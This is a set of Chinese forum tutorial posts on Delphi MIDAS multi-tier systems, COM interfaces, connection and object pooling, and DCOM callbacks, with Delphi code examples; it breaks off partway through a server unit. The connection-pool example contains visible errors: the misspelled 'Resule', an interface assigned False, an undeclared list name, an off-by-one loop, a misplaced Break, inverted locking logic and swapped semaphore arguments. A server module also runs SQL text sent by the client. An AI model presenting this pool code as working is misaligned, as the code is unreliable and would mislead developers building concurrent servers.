Midas是Delphi多层应用系统的核心技术，就如以前的或是现在还是Delphi数据库的核心BDE一样，BDE是delphi的数据库引擎，那么我们也可以将MIDAS理解成Delphi处理多层分布式的一种引擎技术，更确定的说MIDAS是Delphi用于存取后端数据库数据的中介透明引擎，而对于客户来说是完全透明的，客户不知道自己所取数据来自何处，又将提交到何处；而程序员则可以通过Midas使用不同的组件存取不同的后端应用程序服务器；而后端的应用程序服务器可以是COM/DCOM应用程序服务器、MTS中介软件、CORBA应用程序服务器，甚至我们可以理解相当于用BDE连接或存取本地或是远程数据一样，这就是我理解的MIDAS的概念；

理解了它的概念之后，我们就可以对MIDAS进行进一步的认识，delphi所提供的MIDAS随着版本的增长，其功能也在不断的强大，最明显的改进应该是它提供了容错能力和负载平衡以及高效率等功能；前边说了，MIDAS是一种透明的中介引擎，主要又应用提现在那几个方面？可以从三个方面来分析，也就是说它主要提供了三个主要的中介者：

NO.1:无程数据中介者(Remote Data Broker):它主要提供客户端存取远程数据库的能力；

NO.2:Constraint:(可以理解为安全性检查)，通过它，应用程序下载远程数据库对于数据设定的各种限制，这样，客户端可以在本地对所做操作进行检查，无须再上传到远程数据中或是应用服务器那儿进行检查，这显然可以增加网络负荷；

NO.3:企业对像中介者(Business Object Broker)：允许应用系统开发执行企业逻辑的企业对像，并且提供容错和负载平衡能力；

而Midas的状态也可以说是它最大的变动和最成功的地方，Midas提倡无状态，由此才有Object Pooling/Data Pooling /Connect Pooling /以及和MTS的更好结合(以后我会提到相关的)/容错/负载平衡/数据无关等等

Midas的通讯协议同样也包含了三种：TCP/IP,DCOM ,OLE EnterPrise(每种协议都要用到TCP/IP Socket and MS RPC////这就是常见的PRC不可用错误的出现原因，前边有如何解决这种问题的贴子，请参照 )；

因此，我们可以将MIDAS与DCOM/COM or MTS or CORBA or RMI完全的区分开来；

一种是中介引擎，而另一种是可以充当中介软件的技术；

在Delphi中，无论是用那一种结构进行连接，或是使用好一种技术。MIDAS都将它们统一起来，比如接口通一（区别是有，但是它能够给一个统一的定义说明就会让我们理解起来方便了很多）比如它提供了统一执着口 Provider(Delphi5有用，而之前的如MIDAS2.0 or MIDAS1.0就用它来进行存取数据，现在已经将其封装到TClientDataSet中)；所有这一切都是MIDAS所提供的，而对于使用DCOM or MTS or CORBA (现在还不曾有听说支持RMI,但相信以后会支持的)却是我们不用关心的，这儿的差别只是我们利用那种机制才可以更好的于MIDAS更好的结合；

MIDAS所提供的中介、功能等都是在完全理解了什么是MIDAS的基础上才可以正确的应用的；所以不在本贴所讨论的范围，但小小会尽量抽出时间来将MIDAS的重要功能以及MIDAS的应用整理后放到坛子上和大家一起交流的；


什么是接口？
什么是接口？

原创 (小小->爱被下载中……)

接口有什么作用？

如何用接口？

一系列的问题都会缠绕着你///如果你不想做分布式或是本地的应用程序调用的话，就不用看了；

COM1/COM2等硬件接口，我们都不陌生；但是如果要将接口正真用的软件上，而且用好的话，并不一定很容易；让我们继续吧；

我们所谓的接口其实就是一些过程、函数、属性集；记住，接口不可以有字段的，如果你有这个想法的话，那么从现在开始就要认识是错误的，对接口的访问就是对它提供的方法、事件、属性的访问，而且，接口所提供的方法都是公开的，是全部的公开的，所以就不必要用Public了；

在COM中，接口就是一切，一个组件就是一个接口集，用户只用通过接口才能和ＣＯＭ进行找交道；

最通用的接口

IUnKnown InterFace

如果和Com有关的话，一般用IUnKonow，否则用Interface;

说了这么多，还是看个例程吧；

由于时间关系，我只是匆匆忙忙的写了一下，没有时间整理，如果您觉的有用的话，可以自己整理一下，有什么不明白的地方，可以联系我；

没有加注释；

---------------------

unit Main;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls,ComObj,ActiveX,StdVCL;

type

TForm1 = class(TForm)

Button1: TButton;

procedure Button1Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

ILC = Interface(IUnknown)

['{4FFE6DDB-80B9-4E2D-A05F-5F3B35311ED7}']

procedure SetValue(NewValue:String);

function GetValue:String;

end;

TLC = Class(TInterfacedObject, ILC)

public

Value:String;

procedure SetValue(NewValue:String);

function GetValue:String;

destructor Destroy;override;

end;

var

Form1: TForm1;

IMyLC : ILC;

implementation

{$R *.dfm}

{ TLC }

destructor TLC.Destroy;

begin

Application.MessageBox('资源已经被完全释放','操作提示',MB_OK + MB_ICONINFORMATION);

inherited;

end;

function TLC.GetValue: String;

begin

Result := Value;

ShowMessage(Result);

end;

procedure TLC.SetValue(NewValue: String);

begin

////ShowMessage(NewValue);'

/////NewValue := '第一个COM例程';

Value := NewValue;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

IMyLC.SetValue('第一个COM例程');

IMyLC.GetValue;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

IMyLC := TLC.Create;

end;

end.


提高分布式多层系统的效率之一
提高分布式多层系统的效率之一：

原创 (小小->爱被下载中……)

想必C/S结构的应用程序大家都开发过吧，但我们可以常常听说 分布式系统也是一种C/S结构，的确，不可否认，分布式系统或叫多层结构也是一种C/S结构；网上有很多有关于介绍C/S结构的应用程序平滑的过度到分布式多层系统的例子，一般而言都是说只要将客户端的数据集组、数据连接组件转移到多层中的远程数据模块中，然后，再在数据交换服务处放置对应的TProvider组件接口，客户端用TClientDataSet代替以前的数据组件(TTable or TQuery);然后再在客户端加一个远程启动组件TDOMConnection or TSocketCOnnection用来能过数据交换服务连接远程数据库就可以应用三层，当然，在安装的同时进行一些设置(DCOM在这方面提体的尤其明显，我们都知道，DCOM COM+都是MS的产口，COM+是在Win2000以后才推出来的，DCOM是在WinNT4.0之后才推出来的；MS为了和Windows的紧密结合，所以将DCOM做为中间件的分布式应用程序 <注意：这个DCOM是DCOMConnection 中所说的DCOM，而不是SocketConnection;SocketConnection也可以是一种DCOM的连接方式，它就要说到DCOM/RIM/CORBA这三种连接方式了；> 一般而言在客户安装的时候要进行安全性设置，这就是DCOM特别安全的原因，同时也成了分布式中很不好配置的原因<你们在开发中用DCOMConnection 还是 SocketConnection?> 的安全性相当高，但我们也不能说它只允许Windows操作平台，因为它已经开始支持多操作系统了，ActiveX就是继承了它的这一点，因而才可以不受 操作系统的限制；而且，一般的运行速度也很快，不过它的初次连接速度的确让人不敢恭维；)

让我们走进正题吧，先就Connection Pooling来说说；

为什么在分布式多层中不用Access/ForPro/Paradox/DBASE/SyBase.......并不是不能用，你可以试一试，数据库服务器没有理由一定要和数据交换服务分开的，所以，不用它们的正真原理并不是因为它们是本地或其它什么原因，而是因为它们不支持COnnection Pooling这项技术，Delphi的Midas不提倡数据库服务器或是数据交换为客户端维护状态，的确，这很浪费资源，就如现在的一般网站都会要求您的计算机可以充许Cookie一样，它不可能为每个用户都去维护状态和永久的保持连接；而Delphi的TSession组件就可以解决这个问题，我们常常可以听到“池子”Pooling，就Connection Pooling而言，它是由数据引擎提供的，或是由一些服务提供的，我们可以用 MS Transaction Server (MTS)提供的Object Pooling(对像共享) 或是MS的ODBC3.0 以上版本的Connection Pooling特性进行设置； 我们用最常见的ODBC来说；不一定每一位程序员或是编程者都注意到它这个属性，如果是桌面数据库，它本来就不支持，甚至有些C/S结构中，用到的是大型数据库也有可能没有注意到这个属性，请将你的ODBC打开，到它的 “连接池”那一页看一看，你是否为你的SQL Server or Oracle启用了这个连接？如果没有，请以后记住，开启它，而对于本地的、桌面的数据就不用了，因为它们一般都是独站的，没有明确连接概念；那么到底连接如何理解？或是它是如何工作的呢？前面我们曾经说了，在分布式中，不要想撒懒，请加上TSession组件，如果可以的话，尽量可以让它自动创建，它可以为用户提供连接，而且可以设置Timeout<在ODBC里同样也可以>；这样的话，就可以保证用户及时的连接、释放它所占用的资源，如果用户需要连接时，它会帮你自动从连接池中找没有被用户占用的，如果全部被占用而且不允许创建<当然，这种情况很少>的话，它会试图的去判断其它用户的空闭时间，从而寻找空闲的连接；

这只是提高分布式应用程序的效率的一个方面，方方面面很多，但愿我们还可以继续交流，同时，您也可以指出我的错误之处；愿意与您共同交流；


提高分布式多层系统的效率之二（Pooler）
提高分布式多层系统的效率之二（Pooler）

原创 (小小->爱被下载中……)

提高分布式多层系统的效率是一个永远不变的主题，有很多制约分布式系统的效率，如：RDBMS、数据库引擎、代码效率、各种Pooling、开发设计等……

在此，我就Pooler说一说，希望对大家有用；

有那些Pooler?Pooler是什么？那儿可以用Pooler?Pooler有什么用？怎么用Pooler?当一系例的Pooler问题摆在你的面前时，你如何下手？从那儿下手？但这些又是我们不得不面对的待解决的问题；唯一的办法只能是理解、解决它些问题；

Pooler是池子的意思，可以这样理解，无论是那种Pooler，它都为用户提供了一个相当于容器的作用的连接，比如一个用户可能需要连接远程数据库中特定的表，当他花费了一定时间进行连接、使用完毕之后，他是要释放这个连接呢？还是将这个连接放在某一个容器里边呢？不可否认，在多层中，连接操作是一个费时操作，特别是对于大型数据库，要进行各种检查等操作，那么，是不是每一个用户都需要这个步骤呢？这儿就提到了Pooler这个概念；当用户A将操作都执行完毕之后，他如果释放了他的连接，那么这个连接就只是被用户A一个人用过，其它用户没有机会再次用这个连接，还要继续进行连接操作，继续的浪费时间；而如果用户A能将这个连接保存下来，供以后可以用的着这个连接的用户使用的话，岂不是很好吗？此是Pooler就充当了这个角色，所以，我们可以将Pooler在这儿理解成存放连接的池子或容器；

Pooler又可以分为那些？分类所然没有被完全的规格化，但是可以将它罗列出来对我们有用的一些，比如： Session Pooling,Object Pooling,Connection Pooling(前边我们说过),ResourcePooling,DataPooling等，每种不同的Pooling有不同的作用，但它们实现的功能大至相同，它们可以提供方便的连接以节省用户时间，而且可以用我们曾说过的COM or DCOM的TimeOut来判断用户是否超时等；

只要有三层的地方，都应该用Pooling,甚至在C/S里也提倡用Pooling,Connection Pooling就是最好的例子；当然，需要合理的应用Pooling，不然会造成接口混乱等现象；

Pooler 有什么作用？在说什么是Pooler时，我们已经可以感觉的出来它的作用了；那么如何用Pooler呢？提到如何用Pooler时，我想大家如果有时间应该看一看我关边的关于COM DCOM方面的介绍，因为用Pooler 或者叫pooling就必须要用到接口，而前边我曾对接口给过很详细的说明，如果你不能理解接口的话，你在这儿也将无存下手；用Pooling提高分布式系统的效率的确是一个直接的办法，特别是当用户增加时；不管是MTS or DCOM or CORBA都需要用到Pooling技术来使效率提高，我将实现原理介绍一下，后边我会对一个例子进行分析以便于我们更好的交流；一般而言，用Pooling都需要用到协调接口类CoClass(前边的贴子，我曾说过这个类)；我们可以将它理解为一个类，一个实现接口的类，而Pooling就要用到它！当客户端需要数据时，那以应用程序服务器就会应用CoClass所实现的接口来和应用服务器本身的接口进行交互；而且所有连接、线程控制等操作都由你新建的CoClass所负责，之后才通过应用服务本身的接口进行数据的存取，步骤我理解是这样的：当然用户想建立某一个连接或是某一项费时操作时，而正好它现在没有和应用服务器进行通讯，这样的话，它就希望以最快的速度和应用服务器进行通讯，但步骤往往不是它直接和应用服务器进行通讯，而是它需要和CoClass的实现的接口进行作用，当这个辅助类(CoClass)给这个用户分配了线程、建立了连接等一些资源时，它才可以和应用服务进行通讯，你会不会觉的这是多此一举呢？不，应用这个辅助类可以检测是否有空闲的连接来让这个用户进行连接，是否有可用的其它资源让这个用户进行操作，这样才会正真的节省客户的时间，同时也大大的降底了服务器的担子；这便是它的作用；

而至于如何建立进程、如果分配资源，又如何回收，下边有例子可供参考；

我们来用一个例子来说；(你可以参考Delphi/Demo/Midas/Pooler这个例子 )；

//****************************************************************************//

// Pool Code(池子代码) //

// //

// 作 者： 小小 //

// 调试时间：2002-10-31 15:41 //

// 调试环境：Windows 2000 + Delphi6.0; //

// 参考资料：暂无 //

// 交流地点：www.nxit.net/bbs or www.nxit.net/bbs //

//****************************************************************************//

服务端窗体///只是为了让操作者更明确一些；

unit srvrfrm;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type

TForm1 = class(TForm)

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

end.

这不用解释吧，呵呵；只是例出来更有利用各位的调试

远程数据模块：

//****************************************************************************//

// Pool Code(池子代码) //

// //

// 作 者： 小小 //

// 调试时间：2002-10-31 15:41 //

// 调试环境：Windows 2000 + Delphi6.0; //

// 参考资料：暂无 //

// 交流地点：www.nxit.net/bbs or www.nxit.net/bbs //

//****************************************************************************//

unit srvrdm;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ComServ, ComObj, VCLCom, StdVcl, ActiveX, DataBkr, Server_TLB,

Db, DBTables, Provider, Variants;

type

TPooledRDM = class(TRemoteDataModule, IPooledRDM)

Session1: TSession;

Database1: TDatabase;

Query1: TQuery;

DataSetProvider1: TDataSetProvider;

procedure DataSetProvider1BeforeGetRecords(Sender: TObject;

var OwnerData: OleVariant);

protected

class procedure UpdateRegistry(Register: Boolean; const ClassID, ProgID: string); override;

private

{ Private declarations }

public

{ Public declarations }

end;

var

{ Need a reference to the ClassFactory so the pooler can create instances of the

class. }

RDMFactory: TComponentFactory;

/////这儿定义了一个类工厂，如果你对它不明白，请看一看COM　DCOM里边有；

////我觉的这个单元文件没有什么可解释的；

implementation

{$R *.dfm}

procedure TPooledRDM.DataSetProvider1BeforeGetRecords(Sender: TObject;

var OwnerData: OleVariant);

begin

try

Query1.Close;

Query1.SQL.Text := OwnerData[0];

if not VarIsNull(OwnerData[1]) and not VarIsEmpty(OwnerData[1]) then

begin

Query1.Open;

if not Query1.Locate(Query1.Fields[0].FieldName, OwnerData[1], []) then

raise Exception.Create('Record not found');

Query1.Next;

end;

finally

OwnerData := NULL;

end;

end;

class procedure TPooledRDM.UpdateRegistry(Register: Boolean; const ClassID, ProgID: string);

begin

if Register then

begin

inherited UpdateRegistry(Register, ClassID, ProgID);

EnableSocketTransport(ClassID);

EnableWebTransport(ClassID);

end else

begin

DisableSocketTransport(ClassID);

DisableWebTransport(ClassID);

inherited UpdateRegistry(Register, ClassID, ProgID);

end;

end;

initialization

RDMFactory := TComponentFactory.Create(ComServer, TPooledRDM,

Class_PooledRDM, ciInternal, tmApartment);///////////希望你可以明白这些代码

end.

//****************************************************************************//

// Pool Code(池子代码) //

// //

// 作 者： 小小 //

// 调试时间：2002-10-31 15:41 //

// 调试环境：Windows 2000 + Delphi6.0; //

// 参考资料：暂无 //

// 交流地点：www.nxit.net/bbs or www.nxit.net/bbs //

//****************************************************************************//

unit Server_TLB;

// ************************************************************************ //

// 如些之类的代码在回调机制中，我详细的说明过，这儿，我不准备再说；你们

// 可以自己分析

************************************************************************ //

{$TYPEDADDRESS OFF} // Unit must be compiled without type-checked pointers.

{$WARN SYMBOL_PLATFORM OFF}

{$WRITEABLECONST ON}

interface

uses ActiveX, Classes, Graphics, Midas, StdVCL, Variants, Windows;

const

// TypeLibrary Major and minor versions

ServerMajorVersion = 1;

ServerMinorVersion = 0;

LIBID_Server: TGUID = '{0CE99800-9F28-11D1-8944-00A0248E5091}';

IID_IPooledRDM: TGUID = '{0CE99801-9F28-11D1-8944-00A0248E5091}';

CLASS_PooledRDM: TGUID = '{0CE99802-9F28-11D1-8944-00A0248E5091}';

CLASS_Pooler: TGUID = '{0CE99804-9F28-11D1-8944-00A0248E5091}';

type

IPooledRDM = interface;

IPooledRDMDisp = dispinterface;

PooledRDM = IPooledRDM;

Pooler = IPooledRDM;

IPooledRDM = interface(IAppServer)

['{0CE99801-9F28-11D1-8944-00A0248E5091}']

end;

IPooledRDMDisp = dispinterface

['{0CE99801-9F28-11D1-8944-00A0248E5091}']

function AS_ApplyUpdates(const ProviderName: WideString; Delta: OleVariant;

MaxErrors: Integer; out ErrorCount: Integer; var OwnerData: OleVariant): OleVariant; dispid 20000000;

function AS_GetRecords(const ProviderName: WideString; Count: Integer; out RecsOut: Integer;

Options: Integer; const CommandText: WideString;

var Params: OleVariant; var OwnerData: OleVariant): OleVariant; dispid 20000001;

function AS_DataRequest(const ProviderName: WideString; Data: OleVariant): OleVariant; dispid 20000002;

function AS_GetProviderNames: OleVariant; dispid 20000003;

function AS_GetParams(const ProviderName: WideString; var OwnerData: OleVariant): OleVariant; dispid 20000004;

function AS_RowRequest(const ProviderName: WideString; Row: OleVariant; RequestType: Integer;

var OwnerData: OleVariant): OleVariant; dispid 20000005;

procedure AS_Execute(const ProviderName: WideString; const CommandText: WideString;

var Params: OleVariant; var OwnerData: OleVariant); dispid 20000006;

end;

CoPooledRDM = class

class function Create: IPooledRDM;

class function CreateRemote(const MachineName: string): IPooledRDM;

end;

CoPooler = class

class function Create: IPooledRDM;

class function CreateRemote(const MachineName: string): IPooledRDM;

end;

implementation

uses ComObj;

class function CoPooledRDM.Create: IPooledRDM;

begin

Result := CreateComObject(CLASS_PooledRDM) as IPooledRDM;

end;

class function CoPooledRDM.CreateRemote(const MachineName: string): IPooledRDM;

begin

Result := CreateRemoteComObject(MachineName, CLASS_PooledRDM) as IPooledRDM;

end;

class function CoPooler.Create: IPooledRDM;

begin

Result := CreateComObject(CLASS_Pooler) as IPooledRDM;

end;

class function CoPooler.CreateRemote(const MachineName: string): IPooledRDM;

begin

Result := CreateRemoteComObject(MachineName, CLASS_Pooler) as IPooledRDM;

end;

end.

//****************************************************************************//

// Pool Code(池子代码) //

// //

// 作 者： 小小 //

// 调试时间：2002-10-31 15:41 //

// 调试环境：Windows 2000 + Delphi6.0; //

// 参考资料：暂无 //

// 交流地点：www.nxit.net/bbs or www.nxit.net/bbs //

//****************************************************************************//

unit ServerS_Unit;

interface

uses

ComObj, ActiveX, ServerS_TLB, Classes, SyncObjs, Windows;/////单元引用；

type

TPoolS = Class(TAutoObject,IPooler_LX)//接口的实现，前边说COM and DCOM曾说过；

Private

Function GetInterface : IPooler_LX; //获得一个接口，进而获得对像；

Procedure SetInterface(InterfaceValue : IPooler_LX);//释放一个接口,是放回去;

Function GetLock(Index : Integer) : Boolean;

Procedure ReleaseLock(Index : Integer;Var InterfaceValue : IPooler_LX);

Protected

{ IAppServer }

{**************************************************************************}

{在Protected里边，所有的声明都是基于IppAerver接口的，如计数加1，获得接口， }

{ 释放接口操作，而且还引用了协调接口类 }

{**************************************************************************}

function AS_ApplyUpdates(const ProviderName: WideString; Delta: OleVariant;

MaxErrors: Integer; out ErrorCount: Integer; var OwnerData: OleVariant): OleVariant; safecall;

function AS_GetRecords(const ProviderName: WideString; Count: Integer; out RecsOut: Integer;

Options: Integer; const CommandText: WideString;

var Params: OleVariant; var OwnerData: OleVariant): OleVariant; safecall;

function AS_DataRequest(const ProviderName: WideString; Data: OleVariant): OleVariant; safecall;

function AS_GetProviderNames: OleVariant; safecall;

function AS_GetParams(const ProviderName: WideString; var OwnerData: OleVariant): OleVariant; safecall;

function AS_RowRequest(const ProviderName: WideString; Row: OleVariant; RequestType: Integer;

var OwnerData: OleVariant): OleVariant; safecall;

procedure AS_Execute(const ProviderName: WideString; const CommandText: WideString;

var Params: OleVariant; var OwnerData: OleVariant); safecall;

end;

TPoolManager = Class(TObject)///定义一个管理接口对像类，必不可少，不然无法管理

Private

FMaxCount : Integer;////最大连接数；

FTimeOut : Integer;////连接超时；

FCriticalSectionS : TCriticalSection;////可以理解为进行协调；

FHandle : THandle ;

FRDMList:TList;

/////////////Function GetLock(Index : Integer) : Boolean;

///////////////////Procedure RePlease(Index : Integer ; InterfaceValue : IPooler_LX);

Function CreateNewInstance : IPooler_LX;

Public

Constructor Create;

Destructor Destroy;Override;

Function GetInterface : IPooler_LX; //获得一个接口，进而获得对像；

Procedure SetInterface(InterfaceValue : IPooler_LX);//释放一个接口,是放回去; s

Property TimeOut : Integer read FTimeOut;

Property MaxCount : Integer read FMaxCOunt;

end;

PRDM = ^TRDM;

TRDM = Record

InValue : IPooler_LX;

InUser : Boolean;

end;

var

PoolManager : TPoolManager;

implementation

uses

ComServ, SysUtils , SRDMUnit;

{ TPoolManager }

constructor TPoolManager.Create;

begin

FRDMList := TList.Create;

FCriticalSectionS := TCriticalSection.Create;

FTimeOut := 1000;

FMaxCount := 5;

FHandle := CreateSemaphore(Nil,FTimeOut,FMaxCount,Nil);

end;

{******************************************************************************}

{ CriticalSection是指一段程序码，同一时间只能有一个Thread执行它，此VCL包装了 }

{ Win32API中关於CriticalSection的4个函数InitializeCriticalSection、 }

{ EnterCriticalSection、LeaveCriticalSection及DeleteCriticalSection) }

{ }

{ Win 32 API提供了一组同步对象，如：信号灯(Semaphore)、互斥（Mutex）、 }

{ 临界区（CriticalSection）和事件(Event)等，用来解决这个问题 }

{******************************************************************************}

{******************************************************************************}

{ TPoolManager.Create是为远程数据模快创建一个缓冲池，并且进行了规定，禄始化　}

{ 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 }

{ 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 }

{ }

{ 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 }

{ 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 }

{******************************************************************************}

function TPoolManager.CreateNewInstance: IPooler_LX;

var

PValue : PRDM;

begin

FCriticalSectionS.Enter;

Try

New(PValue);

PValue.InValue := RDMFactory.CreateComObject(Nil) as IPooler_LX;//类工厂的应用

PValue.InUser := True;//置为可用；

FRDMList.Add(PValue);

Result := PValue.InValue;

Finally

FCriticalSectionS.Leave;

end;

end;

destructor TPoolManager.Destroy;

var

I : Integer;

begin

FCriticalSectionS.Free;

for I := 0 to FRDMList.Count - 1 do

begin

PRDM(FRDMList[I]).InValue := Nil;

//////////PRDM(FRDMList[I]).InUser := False;

FreeMem(PRDM(FRDMList[I])); //////释放了PRDM资源；

end;

FRDMList.Free;

CloseHandle(FHandle);

inherited Destroy;

end;

function TPoolManager.GetInterface: IPooler_LX; //// 获得连接；

var

I : Integer;

begin

Result := False;

if WaitForSingleObject(FHandle,TimeOut) = WAIT_FAILED then

Raise Exception.Create('对不起，没有成功获得资源');

for I := 0 to FRDMList.Count - 1 do

begin

if GetLock(I) then

begin

Result := PRDM(FRDMList[I]).InValue;///判断是否有可用的资源可以利用，或接口

Exit;

end;

end;

if FRDMList.Count < MaxCount then

Resule := CreateNewInstance;///新建资源

if Result = Nil then

Raise Exception.Create('对不起，不能获得资源');

end;

{******************************************************************************}

{ WaitForSingleObject()说明： }

{ WaitForSingleObject(ByVal hHandle As Long, }

{ ByVal dwMilliseconds As Long)； }

{ hHandle：等待对象的句柄； }

{ dwMilliseconds：等待时间。 }

{ 该函数可以实现对一个可等待对象的等待操作,获取操作执行权。当等待的对象被释放时}

{ 函数成功返回，同时使等待对象变为有信号状态，或者超时返回。该函数用于等待 }

{ Semaphore信号时，若Semaphore信号不为0，则函数成功返回，同时使Semaphore信号记 }

{ 数减1。我们可以利用它建立一个记数信号，每次当相同的程序加载时使记数器减1，退 }

{ 出的时候使计数器加1，这样就可以限制相同程序的多份拷贝同时运行。 }

{******************************************************************************}

function TPoolManager.GetLock(Index: Integer): Boolean;

begin

FCriticalSectionS.Enter;///进锁

Try

Result := Not PRDM(FRDMList[Index]).InUser;//是否可用，是否可以获得连接；

if Not Result then

PRDM(FRDMList[Index]).InUser := True;//置连接为不在可用(对于其它用户而言)

Finally

FCriticalSectionS.Leave;

end;

end;

procedure TPoolManager.RePlease(Index: Integer;

InterfaceValue: IPooler_LX);

begin

FCritiCalSectionS.Enter;

Try

PRDM(FRDMList[Index]).InUser := False;

InterfaceValue := Nil;

ReleaseSemaphore(FHandle,1,Nil);

Finally

FCritiCalSectionS.Leave;

end;

end;

procedure TPoolManager.SetInterface(InterfaceValue: IPooler_LX);

var

I : Integer;

begin

for I := 0 to FRDMList.Count do

begin

if InterfaceValue = PRDM(FRDM[I]).InValue then

RePlease(I,InterfaceValue);

Break;

end;

end;

{ TPoolS }

function TPoolS.AS_ApplyUpdates(const ProviderName: WideString;

Delta: OleVariant; MaxErrors: Integer; out ErrorCount: Integer;

var OwnerData: OleVariant): OleVariant;

begin

....//书上有详细的说明,每本多层系统的书上都有；

end;

function TPoolS.AS_DataRequest(const ProviderName: WideString;

Data: OleVariant): OleVariant;

begin

....//书上有详细的说明,每本多层系统的书上都有；

end;

procedure TPoolS.AS_Execute(const ProviderName, CommandText: WideString;

var Params, OwnerData: OleVariant);

begin

....//书上有详细的说明,每本多层系统的书上都有；

end;

function TPoolS.AS_GetParams(const ProviderName: WideString;

var OwnerData: OleVariant): OleVariant;

begin

....//书上有详细的说明,每本多层系统的书上都有；

end;

function TPoolS.AS_GetProviderNames: OleVariant;

begin

....//书上有详细的说明,每本多层系统的书上都有；

end;

function TPoolS.AS_GetRecords(const ProviderName: WideString;

Count: Integer; out RecsOut: Integer; Options: Integer;

const CommandText: WideString; var Params,

OwnerData: OleVariant): OleVariant;

begin

....//书上有详细的说明,每本多层系统的书上都有；

end;

function TPoolS.AS_RowRequest(const ProviderName: WideString;

Row: OleVariant; RequestType: Integer;

var OwnerData: OleVariant): OleVariant;

begin

end;

function TPoolS.GetInterface: IPooler_LX;

begin

Result := PoolManager.GetInterface;/////获得接口

end;

procedure TPoolS.SetInterface(InterfaceValue: IPooler_LX);

begin

PoolManager.SetInterface(InterfaceValue);////这是当释放一个接口是用到的代码；

end;

end.

希望对大家有用，但是需要说明一点的是，你应该理解锁定、线程、类工厂等内容，不然，理解这些，有些勉强；

小小希望你是最棒的一个；


DCOM调用 VS 回调机制例程
前边帖的没有完整的说明，这次将会有详细的说明以供各位参考

{=======================DCOM调用 VS 回调机制例程=======================

作者：小小；

创建日期：2002-10-24 01:49(凌晨，呵呵)

调试工具：Delphi6 VS Windows 2000;

参考文献：大脑，呵呵:)

信息反馈：dprogram@nxrs.net

交 流www.nxrs.net/bbs

=========================================================================}

unit ClientM; /////////客户端窗体；

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls,ComObj,Server_TLB,MConnect, DB, DBClient, SConnect,ActiveX,

ComServ;

type

TClientCallBack = Class(TAutoIntfObject , IDCOMBackCalls)

procedure SetInfo(var InfoName: OleVariant; var InfoPass: OleVariant); safecall;

end;

//////////////////////////////////////////////////////////////////////////////

//////////TClientCallBack = Class(TAutoIntfObject,IDCOMBackCalls) TClientCallBack 它继承类TAutoIntfObject

//////////同时又是实现了接口IDCOMBackCalls,而这个接口是需要在TypeLib中声明的；

///////////接口的实现，需要知道，之后还要进行类的实例化；

///////////需要实现这个接口的方法　：SetInfo(.....) SafeCall ,注意，这儿只能用SafeCall;

//////////下边有接口的实例化，FClientCallBack : TClientCallBack;

//////////uses ComObj;

/////////////////////////////////////////////////////////////////////////////////

TForm2 = class(TForm)

Button1: TButton;

Label1: TLabel;

Label2: TLabel;

Label3: TLabel;

Edit1: TEdit;

Edit2: TEdit;

Edit3: TEdit;

SocketConnection1: TSocketConnection;

procedure Button1Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

FClientCallBack : TClientCallBack;

/////////这一句是接口正真的实例化；

{ Private declarations }

public

MyDCOMConnection : TDispatchConnection;

//////注意这一句：TDispatchConnection 是如下定义的：

//////TDispatchConnection = class(TCustomRemoteServer)

{ Public declarations }

end;

var

Form2: TForm2;

ClientVar : IDCOMServerSL1;

//////////////////////////////////////////////////////////////////////////////

//////定义一个接口，是TypeLib中声明的哦；uses Server_TLB,(User TypeLib)

//////////////////////////////////////////////////////////////////////////////

implementation

{$R *.dfm}

procedure TForm2.Button1Click(Sender: TObject);

begin

ClientVar := CoDCOMServerSL1.Create;

if ClientVar.GetInfo(Edit1.Text,Edit2.Text) then

begin

Application.MessageBox('恭喜您，登录成功！','操作提示',MB_OK + MB_ICONINFORMATION);

end else

begin

Application.MessageBox('对不起，登录失败！','操作提示',MB_OK + MB_ICONINFORMATION);

end;

/////////////////////////////////////////////////////////////////////////////////////

/////////MyDCOMConnection.AppServer.ProcName;，也可以用这种进行回调

/////////CoDCOMBackCall = class

/////////class function Create: IDCOMBackCall;

////////class function CreateRemote(const MachineName: string): IDCOMBackCall;

////////end;

////////看一看它的定义，它其实是一个类，呵呵，协同接口类；是实现一个或多个接口的类，

///////有一个类生成库和一个类标识器；

///////这一部分是DCOM的，和回调无关；

///////////////////////////////////////////////////////////////////////////////////////

end;

{ TClientCallBack }

procedure TForm2.FormCreate(Sender: TObject);

var

TypeLib : ITypeLib;

begin

MyDCOMConnection := SocketConnection1;

MyDCOMConnection.Connected := True;

OLECheck(LoadRegTypeLib(LIBID_Server,0,0,1,TypeLib));

MyDCOMConnection.AppServer.GetInfos(FClientCallBack as IDispatch);

{/////////////////////////////////////////////////////////////////////////////

//////MyDCOMConnection := SocketConnection1;是回调的关键，你要用它来代替TSocketConnection,操作还是类实例之间，你明白吗？

//////MyDCOMConnection.Connected := True;还用说吗？

//////OLECheck(LoadRegTypeLib(LIBID_Server,0,0,1,TypeLib));在客户端注册；

//////MyDCOMConnection.AppServer.GetInfos(FClientCallBack as IDispatch);开始执行，而且进行接口转化；

//////TypeLib : ITypeLib;可以应用类型库类 Uses ActiveX;

//////////////////////////////////////////////////////////////////////////////}

end;

{ TClientCallBack }

procedure TClientCallBack.SetInfo(var InfoName, InfoPass: OleVariant);

begin

ShowMessage(InfoName);

ShowMessage(InfoPass);

{/////////////////////////////////////////////////////////////////////////////

/////我不知道你是否知道RDM中是如果引用接口的，这和它是一样的；

//////////////////////////////////////////////////////////////////////////////}

end;

end.

{=======================DCOM调用 VS 回调机制例程=======================

作者：小小；

创建日期：2002-10-24 01:49(凌晨，呵呵)

调试工具：Delphi6 VS Windows 2000;

参考文献：大脑，呵呵:)

信息反馈：dprogram@nxrs.net

交 www.nxrs.net/bbs

=========================================================================}

unit ServerRDM; ////////远程数据模块，是回调机制用的，于DCOM无关；

{$WARN SYMBOL_PLATFORM OFF}

interface

uses

